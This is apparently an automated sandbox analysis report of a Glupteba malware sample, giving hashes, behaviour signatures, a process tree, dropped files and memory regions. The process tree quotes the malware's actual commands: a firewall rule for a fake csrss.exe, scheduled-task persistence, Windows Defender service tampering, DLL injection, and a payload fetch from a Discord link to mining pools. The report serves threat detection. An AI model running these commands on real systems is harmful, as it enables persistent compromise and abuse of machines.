Analysis

  • max time kernel
    299s
  • max time network
    299s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    09/05/2024, 23:21

General

  • Target

    a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe

  • Size

    4.2MB

  • MD5

    0889b956c743e72a576267cecf611efb

  • SHA1

    929cc7729bbdb623d56d3e99e1a27d5d7e28163d

  • SHA256

    a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14

  • SHA512

    35314ad1ffdfd1f65abba8fed97ccf371e62bbfb2e06d63e0ca2002fd401b54c0fcab50f3edf3ffe5def1f52cd1bf4ea46b1929635991d169c331e322de41786

  • SSDEEP

    98304:YaQpezkUMTE1jG98FBE9/5ssyESeegfnf4lyOj6mN9jOyo0hkLN5:YJpe4BEU98Fs/etESKJ46WSVX

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 30 IoCs
  • Windows security bypass 2 TTPs 7 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 7 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Drops file in System32 directory 10 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Using powershell.exe command.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe
    "C:\Users\Admin\AppData\Local\Temp\a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3660
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4136
    • C:\Users\Admin\AppData\Local\Temp\a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe
      "C:\Users\Admin\AppData\Local\Temp\a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe"
      2⤵
      • Windows security bypass
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1424
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -nologo -noprofile
        3⤵
        • Drops file in System32 directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1344
      • C:\Windows\System32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1944
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:344
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -nologo -noprofile
        3⤵
        • Drops file in System32 directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4952
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -nologo -noprofile
        3⤵
        • Drops file in System32 directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2584
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Manipulates WinMonFS driver.
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3188
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -nologo -noprofile
          4⤵
          • Drops file in System32 directory
          • Command and Scripting Interpreter: PowerShell
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2136
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:5084
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /delete /tn ScheduledUpdate /f
          4⤵
            PID:4628
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3140
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1956
          • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
            C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:4820
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
            4⤵
            • Creates scheduled task(s)
            PID:1692
          • C:\Windows\windefender.exe
            "C:\Windows\windefender.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:5096
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4564
              • C:\Windows\SysWOW64\sc.exe
                sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                6⤵
                • Launches sc.exe
                • Suspicious use of AdjustPrivilegeToken
                PID:3888
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:1100
          • C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
            C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
            4⤵
            • Executes dropped EXE
            PID:2684
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:2476
          • C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
            C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
            4⤵
            • Executes dropped EXE
            PID:3064
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:2536
          • C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
            C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
            4⤵
            • Executes dropped EXE
            PID:1472
    • C:\Windows\windefender.exe
      C:\Windows\windefender.exe
      1⤵
      • Executes dropped EXE
      • Modifies data under HKEY_USERS
      PID:4248

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tktx3ugv.4fw.ps1

            Filesize

            1B

            MD5

            c4ca4238a0b923820dcc509a6f75849b

            SHA1

            356a192b7913b04c54574d18c28d46e6395428ab

            SHA256

            6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

            SHA512

            4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

          • C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe

            Filesize

            2.0MB

            MD5

            1bf850b4d9587c1017a75a47680584c4

            SHA1

            75cd4738ffc07f203c3f3356bc946fdd0bcdbe19

            SHA256

            ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955

            SHA512

            ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08

          • C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe

            Filesize

            2.8MB

            MD5

            713674d5e968cbe2102394be0b2bae6f

            SHA1

            90ac9bd8e61b2815feb3599494883526665cb81e

            SHA256

            f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057

            SHA512

            e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb

          • C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe

            Filesize

            2.0MB

            MD5

            dcb505dc2b9d8aac05f4ca0727f5eadb

            SHA1

            4f633edb62de05f3d7c241c8bc19c1e0be7ced75

            SHA256

            61f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551

            SHA512

            31e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3

          • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

            Filesize

            281KB

            MD5

            d98e33b66343e7c96158444127a117f6

            SHA1

            bb716c5509a2bf345c6c1152f6e3e1452d39d50d

            SHA256

            5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

            SHA512

            705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            1c19c16e21c97ed42d5beabc93391fc5

            SHA1

            8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

            SHA256

            1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

            SHA512

            7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            9bf2752a67f46ebed8f951ef38156203

            SHA1

            d8e2b5d26ec79950784a397ec550c9e8e6c631df

            SHA256

            ef7d30cbe1d529c302465235c6163243043b3b11413e9617c2a650373220a8d8

            SHA512

            d9724eb00b1067b8cfbcf137d943ef2f4687d0b32e772710a8d4524b886ae6f15478a26f42bb2cb8e3abe0193cbf6f059c246c21829ae8e34091eea5c4a6c5a6

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            b1315c8cd32bdbe4b7d23f23a7113fbf

            SHA1

            a80fcd2c90be4e29c0ea208f826013e0ec34bd8c

            SHA256

            e6b7048657fda4f80200c7d2b58c465067606da4e6500bcb93091cbf34b594a2

            SHA512

            6f354fef5fb0fbaf0afca734b6422fc756f87a9990fd6dc30e79916e79dde9b42de695fdc75503cc71bbd130c5d846179b1d3da5e3c4a764d5d905dbf049a97d

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            ba2e394943395096ee2be8d52e564b33

            SHA1

            909c61c1bb387d913802fda15807758020ed9220

            SHA256

            bdca617044a4a2c1e4b0fdba01b387fa9c3c221a2bfa3bd5d8db2c2d510ef3a1

            SHA512

            8957e1f9702351cb1b7795e1b24ab2decf48096a6feda7b7895525de0cab678dfff440f597ad05b3d800723ac08ca1290d713a2d54aedd85d8650d70f36ecc6e

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            3654785da050a5633c65768a48c323a4

            SHA1

            2b8a3d1ee044cc0b037f7337d3bd43f71c83d504

            SHA256

            92b62e94b4fb185e15240b86a5a4dddfe66e5ee68fd6c7c744e2c533fc71217a

            SHA512

            84e2b54a399c6e923cbe9b162f31f56d2bed8a0e6aa2c2a1285ac72d32c2f85f2d5e05a7f49580fe39620c9e7d5167fbc1a021c7b8138fa37ee3e59dd95a5018

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            19f7a69cd70108ad4723d8fc9c08efe6

            SHA1

            1f1e1ebc79242f9b6a8232e5096f67b1bc845f8b

            SHA256

            d60783500b25eba30c1a7778e479d7423a26a6ffe7bed9d1bbfe2ef4c43bcec4

            SHA512

            44fc25f9cad48f8fb5965475dacccaaedc44a0f3fb5679be60256248e9da4e0d2d63ab9800d63abd7124faf4c7320451629654363c6f77498545d6137909ffb4

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            9c83b98266824db9c8b906fc0409003b

            SHA1

            0d1dc5f4f9b6ecdc21ebcf5a6ff21ea3e73cfd5a

            SHA256

            a8bcaba1a000bc7d406c4939a79b57062e30f073c5c80723e25a3adbf06dc81c

            SHA512

            814c226d49a5cb221a9bbe57f5a154b5918d3e27ee781f926352be132d2397378eb8a8ecf090069b847b8cd551a2a7d67f7aac0b79173ba476f9be1bb195cbe6

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            882c7357c6527f688c9a214348f2dfd4

            SHA1

            409385d5ca093b52c2c778fd14bb016e1633f322

            SHA256

            fbcc6faf09ec828e19eaa819dca41d2e18a323113130402c1b220304be014110

            SHA512

            25994e4dfedf6008624a5dc9fbe7499fd0cd27bf02aed0a6b60d023f361f7bade0ccd80dceea699ccd52801b36ae991758f6db9860a9a2cfc2d802a3f8295221

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            8f937d8d9aeb137443141f9df7386375

            SHA1

            f409728c37df6fb39aa6b1431b6d9d7b3afefc60

            SHA256

            051b0b2328637fc956dc5dc2e58f93d17af0949a1f4c232dbb11a38313442f57

            SHA512

            ae5bed66782edf245164062e6d830e6160ad891d0ffad2220045665d4424efcd5f2005b4e53ec31394605e21472313ecd332322b5b1f598845a540a417a4db93

          • C:\Windows\rss\csrss.exe

            Filesize

            4.2MB

            MD5

            0889b956c743e72a576267cecf611efb

            SHA1

            929cc7729bbdb623d56d3e99e1a27d5d7e28163d

            SHA256

            a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14

            SHA512

            35314ad1ffdfd1f65abba8fed97ccf371e62bbfb2e06d63e0ca2002fd401b54c0fcab50f3edf3ffe5def1f52cd1bf4ea46b1929635991d169c331e322de41786

          • C:\Windows\windefender.exe

            Filesize

            2.0MB

            MD5

            8e67f58837092385dcf01e8a2b4f5783

            SHA1

            012c49cfd8c5d06795a6f67ea2baf2a082cf8625

            SHA256

            166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

            SHA512

            40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

          • memory/1100-1791-0x00000000078D0000-0x0000000007C20000-memory.dmp

            Filesize

            3.3MB

          • memory/1100-1818-0x00000000092D0000-0x0000000009375000-memory.dmp

            Filesize

            660KB

          • memory/1100-1813-0x00000000702D0000-0x0000000070620000-memory.dmp

            Filesize

            3.3MB

          • memory/1100-1812-0x0000000070280000-0x00000000702CB000-memory.dmp

            Filesize

            300KB

          • memory/1100-1793-0x00000000082E0000-0x000000000832B000-memory.dmp

            Filesize

            300KB

          • memory/1344-325-0x0000000009A80000-0x0000000009B25000-memory.dmp

            Filesize

            660KB

          • memory/1344-319-0x00000000704C0000-0x000000007050B000-memory.dmp

            Filesize

            300KB

          • memory/1344-299-0x0000000008000000-0x0000000008350000-memory.dmp

            Filesize

            3.3MB

          • memory/1344-300-0x0000000008530000-0x000000000857B000-memory.dmp

            Filesize

            300KB

          • memory/1344-320-0x0000000070510000-0x0000000070860000-memory.dmp

            Filesize

            3.3MB

          • memory/1424-1010-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/1472-2520-0x0000000000400000-0x00000000008E8000-memory.dmp

            Filesize

            4.9MB

          • memory/1472-2525-0x0000000000400000-0x00000000008E8000-memory.dmp

            Filesize

            4.9MB

          • memory/1956-1491-0x0000000007720000-0x0000000007A70000-memory.dmp

            Filesize

            3.3MB

          • memory/1956-1512-0x00000000703C0000-0x0000000070710000-memory.dmp

            Filesize

            3.3MB

          • memory/1956-1511-0x0000000070370000-0x00000000703BB000-memory.dmp

            Filesize

            300KB

          • memory/2136-1015-0x0000000007D80000-0x00000000080D0000-memory.dmp

            Filesize

            3.3MB

          • memory/2136-1017-0x00000000083B0000-0x00000000083FB000-memory.dmp

            Filesize

            300KB

          • memory/2136-1042-0x0000000009860000-0x0000000009905000-memory.dmp

            Filesize

            660KB

          • memory/2136-1037-0x0000000070470000-0x00000000707C0000-memory.dmp

            Filesize

            3.3MB

          • memory/2136-1036-0x0000000070320000-0x000000007036B000-memory.dmp

            Filesize

            300KB

          • memory/2476-2042-0x00000000084E0000-0x000000000852B000-memory.dmp

            Filesize

            300KB

          • memory/2476-2062-0x00000000702F0000-0x0000000070640000-memory.dmp

            Filesize

            3.3MB

          • memory/2476-2038-0x0000000007CA0000-0x0000000007FF0000-memory.dmp

            Filesize

            3.3MB

          • memory/2476-2061-0x0000000070180000-0x00000000701CB000-memory.dmp

            Filesize

            300KB

          • memory/2536-2303-0x00000000702F0000-0x0000000070640000-memory.dmp

            Filesize

            3.3MB

          • memory/2536-2302-0x0000000070280000-0x00000000702CB000-memory.dmp

            Filesize

            300KB

          • memory/2584-773-0x0000000007C80000-0x0000000007FD0000-memory.dmp

            Filesize

            3.3MB

          • memory/2584-794-0x0000000070530000-0x0000000070880000-memory.dmp

            Filesize

            3.3MB

          • memory/2584-793-0x00000000704C0000-0x000000007050B000-memory.dmp

            Filesize

            300KB

          • memory/2684-2040-0x0000000000400000-0x00000000008E1000-memory.dmp

            Filesize

            4.9MB

          • memory/2684-2034-0x0000000000400000-0x00000000008E1000-memory.dmp

            Filesize

            4.9MB

          • memory/3064-2279-0x00000000009D0000-0x000000000129D000-memory.dmp

            Filesize

            8.8MB

          • memory/3064-2523-0x00000000009D0000-0x000000000129D000-memory.dmp

            Filesize

            8.8MB

          • memory/3140-1280-0x0000000009860000-0x0000000009905000-memory.dmp

            Filesize

            660KB

          • memory/3140-1275-0x00000000703E0000-0x0000000070730000-memory.dmp

            Filesize

            3.3MB

          • memory/3140-1274-0x0000000070370000-0x00000000703BB000-memory.dmp

            Filesize

            300KB

          • memory/3140-1253-0x0000000007C10000-0x0000000007F60000-memory.dmp

            Filesize

            3.3MB

          • memory/3140-1255-0x0000000008490000-0x00000000084DB000-memory.dmp

            Filesize

            300KB

          • memory/3188-1730-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1781-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-2522-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-2278-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1787-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1739-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1785-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1741-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1743-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1783-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1745-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1747-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1749-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1779-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1751-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1753-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1755-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1757-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1759-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1761-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1763-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1765-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1767-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1769-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1771-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1773-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1775-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3188-1777-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3660-294-0x0000000000400000-0x0000000001DFA000-memory.dmp

            Filesize

            26.0MB

          • memory/3660-1-0x00007FFABE7D0000-0x00007FFABE9AB000-memory.dmp

            Filesize

            1.9MB

          • memory/3660-295-0x00007FFABE7D0000-0x00007FFABE9AB000-memory.dmp

            Filesize

            1.9MB

          • memory/4136-77-0x0000000009A40000-0x0000000009AE5000-memory.dmp

            Filesize

            660KB

          • memory/4136-70-0x00000000703A0000-0x00000000703EB000-memory.dmp

            Filesize

            300KB

          • memory/4136-4-0x00007FFABE7D0000-0x00007FFABE9AB000-memory.dmp

            Filesize

            1.9MB

          • memory/4136-5-0x0000000004290000-0x00000000042C6000-memory.dmp

            Filesize

            216KB

          • memory/4136-6-0x0000000006C80000-0x00000000072A8000-memory.dmp

            Filesize

            6.2MB

          • memory/4136-7-0x0000000007300000-0x0000000007322000-memory.dmp

            Filesize

            136KB

          • memory/4136-276-0x0000000009BB0000-0x0000000009BB8000-memory.dmp

            Filesize

            32KB

          • memory/4136-271-0x0000000009BC0000-0x0000000009BDA000-memory.dmp

            Filesize

            104KB

          • memory/4136-78-0x0000000009C20000-0x0000000009CB4000-memory.dmp

            Filesize

            592KB

          • memory/4136-71-0x00000000703F0000-0x0000000070740000-memory.dmp

            Filesize

            3.3MB

          • memory/4136-72-0x00000000099E0000-0x00000000099FE000-memory.dmp

            Filesize

            120KB

          • memory/4136-8-0x00000000073A0000-0x0000000007406000-memory.dmp

            Filesize

            408KB

          • memory/4136-69-0x0000000009A00000-0x0000000009A33000-memory.dmp

            Filesize

            204KB

          • memory/4136-9-0x00000000075F0000-0x0000000007656000-memory.dmp

            Filesize

            408KB

          • memory/4136-62-0x0000000008C00000-0x0000000008C76000-memory.dmp

            Filesize

            472KB

          • memory/4136-31-0x0000000008030000-0x000000000806C000-memory.dmp

            Filesize

            240KB

          • memory/4136-12-0x0000000007FD0000-0x000000000801B000-memory.dmp

            Filesize

            300KB

          • memory/4136-11-0x0000000007A70000-0x0000000007A8C000-memory.dmp

            Filesize

            112KB

          • memory/4136-10-0x0000000007680000-0x00000000079D0000-memory.dmp

            Filesize

            3.3MB

          • memory/4248-1737-0x0000000000400000-0x00000000008DF000-memory.dmp

            Filesize

            4.9MB

          • memory/4248-1750-0x0000000000400000-0x00000000008DF000-memory.dmp

            Filesize

            4.9MB

          • memory/4248-1744-0x0000000000400000-0x00000000008DF000-memory.dmp

            Filesize

            4.9MB

          • memory/4248-1740-0x0000000000400000-0x00000000008DF000-memory.dmp

            Filesize

            4.9MB

          • memory/4952-557-0x00000000704C0000-0x000000007050B000-memory.dmp

            Filesize

            300KB

          • memory/4952-558-0x0000000070510000-0x0000000070860000-memory.dmp

            Filesize

            3.3MB

          • memory/5096-1738-0x0000000000400000-0x00000000008DF000-memory.dmp

            Filesize

            4.9MB

          • memory/5096-1735-0x0000000000400000-0x00000000008DF000-memory.dmp

            Filesize

            4.9MB